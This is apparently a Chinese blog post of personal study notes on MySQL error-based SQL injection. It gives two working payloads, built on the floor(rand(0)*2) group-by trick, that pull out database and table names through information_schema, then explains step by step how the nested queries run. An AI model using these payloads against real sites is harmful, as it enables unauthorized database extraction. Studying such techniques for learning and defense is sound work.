您好,登錄后才能下訂單哦!
學習到mysql 數據庫 利用報錯進行注入,整理了一下個人的學習筆記,僅限于個人的理解。
數據庫名--------注入語句 得到數據庫名
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a) and 1=1
數據庫.表名--------注入語句 得到數據庫中的表名
and(select 1 from
(select count(*),concat((select (select (select distinct concat(0x7e,0x27,hex(cast(table_name as char)),0x27,0x7e) from information_schema.tables where table_schema=0x636D73 limit 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a
) and 1=1
自己對表名注入語句的分析:
首先執行綠色區域之間的語句, select table_name from information_schema.tables where talbe_schema=0x636D73 limit 1,1。這里的0x636D73是前面爆出的數據庫名的16進制。第二步執行 cast() 函數 ,將表名轉化為字符,然后執行hex()函數,將其轉為16進制,最后執行concat()函數,將函數中括號內的內容連接起來。
淺黃語句為: select 綠色區域之間的語句;進行一次選擇。含義:在淺黃語句中,執行一次綠色語句。
淺紫色語句為:select 淺黃語句 from information_schema.talbes limit 0,1; 含義,在淺紫色區域中執行一次淺黃語句。
下一步,concat() 函數 并將結果作為x 放到 group by 后執行
下一步 執行 select count(*) from information_schema.talbes group by concat()淺紫色區域內的內容。
最終執行 select 1 from 前面所得到的內容---深×××區域內容; 解釋: 深×××區域會生成一個虛擬表,通過查詢第一列,將深×××報錯的內容顯示出來。
函數的部分解釋:
cast() 數據類型轉換
cast(expression as data_type) expression 任何有效的sql語句 as用于分隔兩個參數,在as之前的是要處理的數據,在 as 之后是要轉換的數據類型
data_type 數據類型
Concat()
沒有分隔的連接字符串
至少兩個參數
Eg select concat(‘ab’,’cd’);
Rand() 函數 產生從0-1之間的隨機數
搭配使用 floor()
Floor()
返回一個不大于x的最大整數
Rand()
返回0到1之間的隨機浮點數
另外,關于mysql報錯注入的原理,我參考了紅黑聯盟的一篇文章,個人收獲很大。將鏈接寫在下面,
以備自己需要時進行查看。
http://www.2cto.com/article/201604/498394.html
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。